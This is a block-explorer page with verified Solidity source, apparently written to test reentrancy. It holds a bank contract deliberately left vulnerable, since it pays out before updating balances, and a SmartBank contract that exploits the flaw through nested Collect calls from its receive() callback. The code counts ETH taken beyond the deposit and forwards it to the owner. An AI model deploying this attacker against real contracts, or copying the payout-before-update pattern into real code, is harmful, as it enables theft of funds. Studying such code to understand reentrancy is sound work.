Skip to content
Verified contractExactMIT

SmartBank

Address0xb8d91dd80ce720f788da619018873efab91dd6d2
Balance

0 ETH

 

Transactions

16

 

Compiler

solc 0.7.6

 

Same code

Only this contract

 

Details

Compiler
solc 0.7.6+commit.7338295f
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,384,992
Creation transaction
0x1be2e55dc6…f9121a0ec7

SmartBank.sol


// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;

// =================================================
// ORIGINAL LOG CONTRACT
// =================================================

contract Log {
    event Message(
        address indexed Sender,
        string Data,
        uint256 Val,
        uint256 Time
    );

    function AddMessage(
        address _adr,
        uint256 _val,
        string memory _data
    ) external {
        emit Message(
            _adr,
            _data,
            _val,
            block.timestamp
        );
    }
}

// =================================================
// ORIGINAL VULNERABLE BANK
// ISOLATED TESTING ONLY
// =================================================

contract xxx_bank {
    struct Holder {
        uint256 unlockTime;
        uint256 balance;
    }

    mapping(address => Holder) public Accounts;

    Log LogFile;

    uint256 public MinSum = 1 ether;

    constructor(address log) {
        LogFile = Log(log);
    }

    function Deposit(uint256 _unlockTime)
        public
        payable
    {
        Holder storage acc = Accounts[msg.sender];

        acc.balance += msg.value;

        acc.unlockTime =
            _unlockTime > block.timestamp
                ? _unlockTime
                : block.timestamp;

        LogFile.AddMessage(
            msg.sender,
            msg.value,
            "Put"
        );
    }

    function Collect(uint256 _am)
        public
        payable
    {
        Holder storage acc = Accounts[msg.sender];

        if (
            acc.balance > MinSum &&
            acc.balance >= _am &&
            block.timestamp > acc.unlockTime
        ) {
            // Intentional reentrancy vulnerability:
            // External call before balance update.
            (bool success, ) =
                msg.sender.call{value: _am}("");

            if (success) {
                acc.balance -= _am;

                LogFile.AddMessage(
                    msg.sender,
                    _am,
                    "Collect"
                );
            }
        }
    }

    fallback() external payable {
        Deposit(0);
    }

    receive() external payable {
        Deposit(0);
    }
}

// =================================================
// BANK INTERFACE
// =================================================

interface IXXXBank {
    function Deposit(uint256 unlockTime)
        external
        payable;

    function Collect(uint256 amount)
        external;

    function Accounts(address user)
        external
        view
        returns (
            uint256 unlockTime,
            uint256 balance
        );

    function MinSum()
        external
        view
        returns (uint256);
}

// =================================================
// SMARTBANK
// EXACTLY 10 NESTED COLLECT CALLS
// ISOLATED AND PRINCIPAL-BOUNDED TEST
// =================================================

contract SmartBank {
    IXXXBank public bank;

    address payable public owner;

    uint256 public MAX_CALLBACKS;


 // Total ETH deposited into the bank
uint256 public totalDeposited;

// Principal still not recovered
uint256 public depositedPrincipal;

// Total ETH received from the bank
uint256 public totalReceived;

// Total original principal recovered
uint256 public totalPrincipalRecovered;

// Total ETH received above original principal
uint256 public totalExtraReceived;

// Callback counter
uint256 public callbackCount;

    uint256 public balanceBeforeWithdrawal;
    uint256 public balanceDuringCallback;
    uint256 public balanceAfterWithdrawal;

    uint256 public lastReceivedAmount;
    uint256 public nestedAmount;

    bool public inspectionActive;
    bool public normalWithdrawalActive;

    // =================================================
    // EVENTS
    // =================================================

    event DepositMade(
        uint256 amount
    );

    event CallbackObserved(
        uint256 callbackNumber,
        uint256 recordedBalance,
        uint256 receivedETH
    );

    event NestedWithdrawalStarted(
        uint256 callbackNumber,
        uint256 amount
    );

    event NestedWithdrawalFinished(
        uint256 callbackNumber,
        uint256 amount
    );

    event InspectionCompleted(
        uint256 recordedBefore,
        uint256 recordedDuring,
        uint256 recordedAfter,
        uint256 totalWithdrawn,
        uint256 totalCallbacks
    );

    event ETHWithdrawnToOwner(
        uint256 amount
    );

    // =================================================
    // ACCESS CONTROL
    // =================================================

    modifier onlyOwner() {
        require(
            msg.sender == owner,
            "Not owner"
        );
        _;
    }

    // =================================================
    // CONSTRUCTOR
    // =================================================

   constructor(address _bankAddress) 
   {
    require(_bankAddress != address(0), "Invalid bank address");

    owner = payable(msg.sender);
    bank = IXXXBank(_bankAddress);
   }

    // =================================================
    // DEPOSIT ETH INTO ISOLATED BANK
    // =================================================

    function deposit(uint256 unlockTime)
        external
        payable
        onlyOwner
    {
        require(
            msg.value > 0,
            "Send ETH"
        );

        require(
            !inspectionActive,
            "Inspection active"
        );

        require(
            depositedPrincipal + msg.value
                >= depositedPrincipal,
            "Overflow"
        );

        bank.Deposit{value: msg.value}(
            unlockTime
        );


depositedPrincipal += msg.value;
totalDeposited += msg.value;

        emit DepositMade(msg.value);
    }

    // =================================================
    // EXACTLY 10 NESTED WITHDRAWALS
    // =================================================

    function inspectNested(uint256 amount, uint256 maxCallbacks)
        external
        onlyOwner
    {
        require(
            !inspectionActive,
            "Already active"
        );

        MAX_CALLBACKS = maxCallbacks;

        require(
            amount > 0,
            "Invalid amount"
        );

        (
            uint256 unlockTime,
            uint256 balance
        ) = bank.Accounts(address(this));

        require(
            block.timestamp > unlockTime,
            "Account locked"
        );

        require(
            balance > bank.MinSum(),
            "Below minimum"
        );

    
        // Reset inspection values.

        callbackCount = 0;

        balanceBeforeWithdrawal = balance;
        balanceDuringCallback = 0;
        balanceAfterWithdrawal = 0;

        lastReceivedAmount = 0;

        nestedAmount = amount;

        uint256 previousReceived =
            totalReceived;

        inspectionActive = true;

        // Initial Collect.
        // Nine additional Collect calls will be
        // executed from receive() callbacks.

        bank.Collect(amount);

        // All nested calls have now returned.

        inspectionActive = false;
        nestedAmount = 0;

    
        require(
            totalReceived >= previousReceived,
            "Received accounting error"
        );

        uint256 actualReceived =
            totalReceived - previousReceived;


        (
            ,
            balanceAfterWithdrawal
        ) = bank.Accounts(address(this));
        

uint256 principalRecovered =
    actualReceived > depositedPrincipal
        ? depositedPrincipal
        : actualReceived;

    uint256 extraReceived =
    actualReceived - principalRecovered;

    depositedPrincipal -= principalRecovered;

    totalPrincipalRecovered += principalRecovered;
    totalExtraReceived += extraReceived;


        emit InspectionCompleted(
            balanceBeforeWithdrawal,
            balanceDuringCallback,
            balanceAfterWithdrawal,
            actualReceived,
            callbackCount
        );
    }

    // =================================================
    // REENTRANCY CALLBACK
    // =================================================

    receive() external payable {

        require(
            msg.sender == address(bank),
            "Only isolated bank"
        );


        if (normalWithdrawalActive) {
        return;
        }

        require(
            inspectionActive,
            "No active inspection"
        );

        require(
            callbackCount < MAX_CALLBACKS,
            "Callback limit reached"
        );

        require(
            totalReceived + msg.value >= totalReceived,
            "Overflow"
        );

        totalReceived += msg.value;

        lastReceivedAmount = msg.value;

        // Count this callback.

        callbackCount += 1;

        uint256 currentCallback =
            callbackCount;

        // Inspect balance before the bank's
        // outer Collect calls finish.

        (
            ,
            balanceDuringCallback
        ) = bank.Accounts(address(this));

        emit CallbackObserved(
            currentCallback,
            balanceDuringCallback,
            msg.value
        );

        // Execute another Collect only while
        // fewer than 10 callbacks have occurred.

        if (currentCallback < MAX_CALLBACKS) {
            emit NestedWithdrawalStarted(
                currentCallback,
                nestedAmount
            );

            bank.Collect(nestedAmount);

            emit NestedWithdrawalFinished(
                currentCallback,
                nestedAmount
            );
        }

        // Callback number 10 does not
        // initiate another withdrawal.
    }

    // =================================================
    // READ ACCOUNT
    // =================================================

    function getAccount()
        external
        view
        returns (
            uint256 unlockTime,
            uint256 balance
        )
    {
        return bank.Accounts(address(this));
    }


    function withdrawPrincipal(uint256 amount)
    external
    onlyOwner
{
    require(
        !inspectionActive,
        "Inspection active"
    );

    require(
        amount > 0,
        "Invalid amount"
    );

    require(
        amount <= depositedPrincipal,
        "Exceeds principal"
    );

    (
        uint256 unlockTime,
        uint256 bankBalance
    ) = bank.Accounts(address(this));

    require(
        block.timestamp > unlockTime,
        "Account locked"
    );

    require(
        bankBalance > bank.MinSum(),
        "Below minimum"
    );

    require(
        amount <= bankBalance,
        "Insufficient bank balance"
    );

    uint256 balanceBefore = address(this).balance;


    normalWithdrawalActive = true;

    // Normal withdrawal: one Collect call
    bank.Collect(amount);
    
    normalWithdrawalActive = false;

    uint256 actualReceived =
        address(this).balance - balanceBefore;

    require(
        actualReceived == amount,
        "Withdrawal failed"
    );

    depositedPrincipal -= amount;
    totalPrincipalRecovered += amount;
    totalReceived += amount;
}

    // =================================================
    // READ ETH BALANCES
    // =================================================

    function getBalances()
        external
        view
        returns (
            uint256 bankETH,
            uint256 smartBankETH
        )
    {
        return (
            address(bank).balance,
            address(this).balance
        );
    }

    // =================================================
    // READ INSPECTION RESULTS
    // =================================================

    function getInspectionResults()
        external
        view
        returns (
            uint256 callbacks,
            uint256 recordedBefore,
            uint256 recordedDuring,
            uint256 recordedAfter,
            uint256 totalETHReceived,
            uint256 principalRemaining
        )
    {
        return (
            callbackCount,
            balanceBeforeWithdrawal,
            balanceDuringCallback,
            balanceAfterWithdrawal,
            totalReceived,
            depositedPrincipal
        );
    }

    // =================================================
    // WITHDRAW RECEIVED ETH TO OWNER
    // =================================================

    function withdrawReceivedETH()
        external
        onlyOwner
    {
        require(
            !inspectionActive,
            "Inspection active"
        );

        uint256 amount =
            address(this).balance;

        require(
            amount > 0,
            "No ETH"
        );

        (bool success, ) =
            owner.call{value: amount}("");

        require(
            success,
            "Transfer failed"
        );

        emit ETHWithdrawnToOwner(amount);
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.